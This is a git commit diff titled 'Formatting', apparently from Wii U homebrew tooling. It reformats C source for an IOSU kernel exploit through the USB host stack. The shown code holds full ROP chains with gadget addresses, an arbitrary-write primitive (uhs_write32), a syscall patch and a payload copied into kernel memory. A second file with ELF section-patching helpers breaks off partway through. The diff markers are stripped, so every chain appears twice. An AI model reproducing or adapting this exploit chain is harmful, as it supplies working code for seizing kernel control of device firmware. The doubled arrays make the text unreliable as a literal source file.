Formatting

This commit is contained in:
Maschell 2020-06-20 23:43:44 +02:00
parent 78d8526363
commit ed4ad86a9c
42 changed files with 1951 additions and 2143 deletions

View File

@ -19,11 +19,12 @@ extern const uint8_t launch_image_tga[];
extern const uint32_t launch_image_tga_size;
static void uhs_exploit_init(int uhs_handle);
static int uhs_write32(int uhs_handle, int arm_addr, int val);
//!------Variables used in exploit------
static int *pretend_root_hub = (int*)0xF5003ABC;
static int *ayylmao = (int*)0xF4500000;
static int *pretend_root_hub = (int *) 0xF5003ABC;
static int *ayylmao = (int *) 0xF4500000;
//!-------------------------------------
typedef struct __attribute__((packed)) {
@ -38,284 +39,284 @@ typedef struct __attribute__((packed)) {
/* ROP CHAIN STARTS HERE (0x1015BD78) */
static const int final_chain[] = {
0x101236f3, // 0x00 POP {R1-R7,PC}
0x0, // 0x04 arg
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
0x68, // 0x0C stacksize
0x10101638, // 0x10
0x0, // 0x14
0x0, // 0x18
0x0, // 0x1C
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x24
0x0, // 0x28
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x30
0x0, // 0x34
IOS_CREATETHREAD, // 0x38
0x1, // 0x3C
0x2, // 0x40
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE92D4010, // 0x4C value: PUSH {R4,LR}
0x0, // 0x50
0x10123a8b, // 0x54 POP {R3,R4,PC}
0x1, // 0x58 R3 must be 1 for the arbitrary write
0x0, // 0x5C
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x64
0x0, // 0x68
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
0x0, // 0x70
0x0, // 0x74
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A04000, // 0x80 value: MOV R4, R0
0x0, // 0x84
0x10123a8b, // 0x88 POP {R3,R4,PC}
0x1, // 0x8C R3 must be 1 for the arbitrary write
0x0, // 0x90
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x98
0x0, // 0x9C
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
0x0, // 0xA4
0x0, // 0xA8
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
0x0, // 0xB8
0x10123a8b, // 0xBC POP {R3,R4,PC}
0x1, // 0xC0 R3 must be 1 for the arbitrary write
0x0, // 0xC4
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0xCC
0x0, // 0xD0
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
0x0, // 0xD8
0x0, // 0xDC
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
0x0, // 0xEC
0x10123a8b, // 0xF0 POP {R3,R4,PC}
0x1, // 0xF4 R3 must be 1 for the arbitrary write
0x0, // 0xF8
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x100
0x0, // 0x104
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
0x0, // 0x10C
0x0, // 0x110
0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A00004, // 0x11C value: MOV R0, R4
0x0, // 0x120
0x10123a8b, // 0x124 POP {R3,R4,PC}
0x1, // 0x128 R3 must be 1 for the arbitrary write
0x0, // 0x12C
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x134
0x0, // 0x138
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
0x0, // 0x140
0x0, // 0x144
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0x00000000, // 0x150 value: NOP
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0x1AFFFFFD, // 0x150 value: BNE clean_loop
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A03004, // 0x184 value: MOV R3, R4
0x0, // 0x188
0x10123a8b, // 0x18C POP {R3,R4,PC}
0x1, // 0x190 R3 must be 1 for the arbitrary write
0x0, // 0x194
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x19C
0x0, // 0x1A0
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
0x0, // 0x1A8
0x0, // 0x1AC
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE8BD4010, // 0x184 value: POP {R4,LR}
0x0, // 0x188
0x10123a8b, // 0x18C POP {R3,R4,PC}
0x1, // 0x190 R3 must be 1 for the arbitrary write
0x0, // 0x194
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x19C
0x0, // 0x1A0
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
0x0, // 0x1A8
0x0, // 0x1AC
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
0x0, // 0x1BC
0x10123a8b, // 0x1C0 POP {R3,R4,PC}
0x1, // 0x1C4 R3 must be 1 for the arbitrary write
0x0, // 0x1C8
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x1D0
0x0, // 0x1D4
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
0x0, // 0x1DC
0x0, // 0x1E0
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
0x0, // 0x1E0
0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
0x0, // 0x1DC
0x0, // 0x1E0
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
ARM_CODE_BASE, // 0x1E8 our code destination address
0x0, // 0x1EC
0x0, // 0x1F0
0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
0x0, // 0x1F8
sizeof(ios_kernel_bin), // 0x1FC our code size
0x0, // 0x200
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
0x00140000, // 0x208 our code source location
0x08131D04, // 0x20C KERNEL_MEMCPY address
0x0, // 0x210
0x0, // 0x214
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
0x0,
0x0,
0x101312D0,
0x101236f3, // 0x00 POP {R1-R7,PC}
0x0, // 0x04 arg
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
0x68, // 0x0C stacksize
0x10101638, // 0x10
0x0, // 0x14
0x0, // 0x18
0x0, // 0x1C
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x24
0x0, // 0x28
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x30
0x0, // 0x34
IOS_CREATETHREAD, // 0x38
0x1, // 0x3C
0x2, // 0x40
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE92D4010, // 0x4C value: PUSH {R4,LR}
0x0, // 0x50
0x10123a8b, // 0x54 POP {R3,R4,PC}
0x1, // 0x58 R3 must be 1 for the arbitrary write
0x0, // 0x5C
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x64
0x0, // 0x68
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
0x0, // 0x70
0x0, // 0x74
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A04000, // 0x80 value: MOV R4, R0
0x0, // 0x84
0x10123a8b, // 0x88 POP {R3,R4,PC}
0x1, // 0x8C R3 must be 1 for the arbitrary write
0x0, // 0x90
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x98
0x0, // 0x9C
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
0x0, // 0xA4
0x0, // 0xA8
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
0x0, // 0xB8
0x10123a8b, // 0xBC POP {R3,R4,PC}
0x1, // 0xC0 R3 must be 1 for the arbitrary write
0x0, // 0xC4
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0xCC
0x0, // 0xD0
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
0x0, // 0xD8
0x0, // 0xDC
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
0x0, // 0xEC
0x10123a8b, // 0xF0 POP {R3,R4,PC}
0x1, // 0xF4 R3 must be 1 for the arbitrary write
0x0, // 0xF8
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x100
0x0, // 0x104
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
0x0, // 0x10C
0x0, // 0x110
0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A00004, // 0x11C value: MOV R0, R4
0x0, // 0x120
0x10123a8b, // 0x124 POP {R3,R4,PC}
0x1, // 0x128 R3 must be 1 for the arbitrary write
0x0, // 0x12C
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x134
0x0, // 0x138
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
0x0, // 0x140
0x0, // 0x144
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0x00000000, // 0x150 value: NOP
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0x1AFFFFFD, // 0x150 value: BNE clean_loop
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A03004, // 0x184 value: MOV R3, R4
0x0, // 0x188
0x10123a8b, // 0x18C POP {R3,R4,PC}
0x1, // 0x190 R3 must be 1 for the arbitrary write
0x0, // 0x194
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x19C
0x0, // 0x1A0
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
0x0, // 0x1A8
0x0, // 0x1AC
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE8BD4010, // 0x184 value: POP {R4,LR}
0x0, // 0x188
0x10123a8b, // 0x18C POP {R3,R4,PC}
0x1, // 0x190 R3 must be 1 for the arbitrary write
0x0, // 0x194
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x19C
0x0, // 0x1A0
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
0x0, // 0x1A8
0x0, // 0x1AC
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
0x0, // 0x1BC
0x10123a8b, // 0x1C0 POP {R3,R4,PC}
0x1, // 0x1C4 R3 must be 1 for the arbitrary write
0x0, // 0x1C8
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x1D0
0x0, // 0x1D4
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
0x0, // 0x1DC
0x0, // 0x1E0
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
0x0, // 0x1E0
0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
0x0, // 0x1DC
0x0, // 0x1E0
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
ARM_CODE_BASE, // 0x1E8 our code destination address
0x0, // 0x1EC
0x0, // 0x1F0
0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
0x0, // 0x1F8
sizeof(ios_kernel_bin), // 0x1FC our code size
0x0, // 0x200
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
0x00140000, // 0x208 our code source location
0x08131D04, // 0x20C KERNEL_MEMCPY address
0x0, // 0x210
0x0, // 0x214
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
0x0,
0x0,
0x101312D0,
};
static const int second_chain[] = {
0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
0x0, // 0x08
0x0, // 0x0C
0x101063db, // 0x10 POP {R1,R2,R5,PC}
0x00130000, // 0x14 source
sizeof(final_chain), // 0x18 length
0x0, // 0x1C
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
0x0, // 0x24
0x0, // 0x28
0x101236f3, // 0x2C POP {R1-R7,PC}
0x0, // 0x30 arg
0x101001DC, // 0x34 stackptr
0x68, // 0x38 stacksize
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
0x0, // 0x40
0x0, // 0x44
0x0, // 0x48
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x50
0x0, // 0x54
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x5C
0x0, // 0x60
IOS_CREATETHREAD, // 0x64
0x1, // 0x68 priority
0x2, // 0x6C flags
0x0, // 0x70
0x0, // 0x74
0x101063db, // 0x78 POP {R1,R2,R5,PC}
0x0, // 0x7C
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset
0x0, // 0x84
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
0x0,
0x0,
0x0,
0x00110000 - 0x44, // 0x8C
0x00110010, // 0x90
0x0, // 0x94
0x0, // 0x98
0x0, // 0x9C
0x0, // 0xA0
0x0, // 0xA4
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
0x0,
0x0,
0x1012EA68, // 0xAC stack pivot
0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
0x0, // 0x08
0x0, // 0x0C
0x101063db, // 0x10 POP {R1,R2,R5,PC}
0x00130000, // 0x14 source
sizeof(final_chain), // 0x18 length
0x0, // 0x1C
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
0x0, // 0x24
0x0, // 0x28
0x101236f3, // 0x2C POP {R1-R7,PC}
0x0, // 0x30 arg
0x101001DC, // 0x34 stackptr
0x68, // 0x38 stacksize
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
0x0, // 0x40
0x0, // 0x44
0x0, // 0x48
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x50
0x0, // 0x54
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x5C
0x0, // 0x60
IOS_CREATETHREAD, // 0x64
0x1, // 0x68 priority
0x2, // 0x6C flags
0x0, // 0x70
0x0, // 0x74
0x101063db, // 0x78 POP {R1,R2,R5,PC}
0x0, // 0x7C
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset
0x0, // 0x84
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
0x0,
0x0,
0x0,
0x00110000 - 0x44, // 0x8C
0x00110010, // 0x90
0x0, // 0x94
0x0, // 0x98
0x0, // 0x9C
0x0, // 0xA0
0x0, // 0xA4
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
0x0,
0x0,
0x1012EA68, // 0xAC stack pivot
};
static void uhs_exploit_init(int dev_uhs_0_handle) {
ayylmao[5] = 1;
ayylmao[8] = 0x500000;
memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain));
memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain));
memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin));
memcpy((char *) (0xF4120000), second_chain, sizeof(second_chain));
memcpy((char *) (0xF4130000), final_chain, sizeof(final_chain));
memcpy((char *) (0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin));
payload_info_t *payloads = (payload_info_t*)0xF4148000;
payload_info_t *payloads = (payload_info_t *) 0xF4148000;
payloads->size = sizeof(ios_usb_bin);
memcpy(payloads->data, ios_usb_bin, payloads->size);
payloads = (payload_info_t*)0xF4160000;
payloads = (payload_info_t *) 0xF4160000;
payloads->size = sizeof(ios_mcp_bin);
memcpy(payloads->data, ios_mcp_bin, payloads->size);
@ -324,24 +325,24 @@ static void uhs_exploit_init(int dev_uhs_0_handle) {
pretend_root_hub[78] = 0;
DCStoreRange(pretend_root_hub + 33, 200);
DCStoreRange((void*)0xF4120000, sizeof(second_chain));
DCStoreRange((void*)0xF4130000, sizeof(final_chain));
DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin));
DCStoreRange((void*)0xF4148000, ((uint32_t)0xF4180000) - 0xF4148000);
DCStoreRange((void *) 0xF4120000, sizeof(second_chain));
DCStoreRange((void *) 0xF4130000, sizeof(final_chain));
DCStoreRange((void *) 0xF4140000, sizeof(ios_kernel_bin));
DCStoreRange((void *) 0xF4148000, ((uint32_t) 0xF4180000) - 0xF4148000);
}
static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val) {
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress)
OSSleepTicks(0x200000); //! Improves stability
int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
int request_buffer[] = {-(0xBEA2C), val}; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
int output_buffer[32];
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
}
int ExecuteIOSExploit() {
int iosuhaxFd = IOS_Open("/dev/iosuhax", 0);
if(iosuhaxFd >= 0) {
if (iosuhaxFd >= 0) {
int dummy = 0;
//IOS_Ioctl(iosuhaxFd, 0x03, &dummy, sizeof(dummy), &dummy, sizeof(dummy));
@ -355,7 +356,7 @@ int ExecuteIOSExploit() {
//! execute exploit
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0);
if(dev_uhs_0_handle < 0) {
if (dev_uhs_0_handle < 0) {
return dev_uhs_0_handle;
}

View File

@ -25,86 +25,71 @@
#include "elf_abi.h"
#include "utils.h"
static Elf32_Phdr * get_section(u32 data, u32 vaddr)
{
static Elf32_Phdr *get_section(u32 data, u32 vaddr) {
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data;
if ( !IS_ELF (*ehdr)
if (!IS_ELF (*ehdr)
|| (ehdr->e_type != ET_EXEC)
|| (ehdr->e_machine != EM_ARM))
{
|| (ehdr->e_machine != EM_ARM)) {
return 0;
}
Elf32_Phdr *phdr = 0;
u32 i;
for(i = 0; i < ehdr->e_phnum; i++)
{
for (i = 0; i < ehdr->e_phnum; i++) {
phdr = (Elf32_Phdr *) (data + ehdr->e_phoff + ehdr->e_phentsize * i);
if((vaddr >= phdr[0].p_vaddr) && ((i == ehdr->e_phnum) || (vaddr < phdr[1].p_vaddr)))
{
if ((vaddr >= phdr[0].p_vaddr) && ((i == ehdr->e_phnum) || (vaddr < phdr[1].p_vaddr))) {
break;
}
}
return phdr;
}
void section_write_bss(u32 ios_elf_start, u32 address, u32 size)
{
void section_write_bss(u32 ios_elf_start, u32 address, u32 size) {
Elf32_Phdr *phdr = get_section(ios_elf_start, address);
if(!phdr)
if (!phdr)
return;
if((address - phdr->p_vaddr + size) > phdr->p_memsz)
{
if ((address - phdr->p_vaddr + size) > phdr->p_memsz) {
phdr->p_memsz = (address - phdr->p_vaddr + size);
}
}
void section_write(u32 ios_elf_start, u32 address, const void *data, u32 size)
{
void section_write(u32 ios_elf_start, u32 address, const void *data, u32 size) {
Elf32_Phdr *phdr = get_section(ios_elf_start, address);
if(!phdr)
if (!phdr)
return;
u32 *addr = (u32*)(ios_elf_start + address - phdr->p_vaddr + phdr->p_offset);
u32 *addr = (u32 *) (ios_elf_start + address - phdr->p_vaddr + phdr->p_offset);
if((address - phdr->p_vaddr + size) > phdr->p_filesz)
{
if ((address - phdr->p_vaddr + size) > phdr->p_filesz) {
u32 additionalSize = address - phdr->p_vaddr + size - phdr->p_filesz;
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) ios_elf_start;
Elf32_Phdr * tmpPhdr;
Elf32_Phdr *tmpPhdr;
u32 i;
for(i = (ehdr->e_phnum-1); i >= 0; i--)
{
for (i = (ehdr->e_phnum - 1); i >= 0; i--) {
tmpPhdr = (Elf32_Phdr *) (ios_elf_start + ehdr->e_phoff + ehdr->e_phentsize * i);
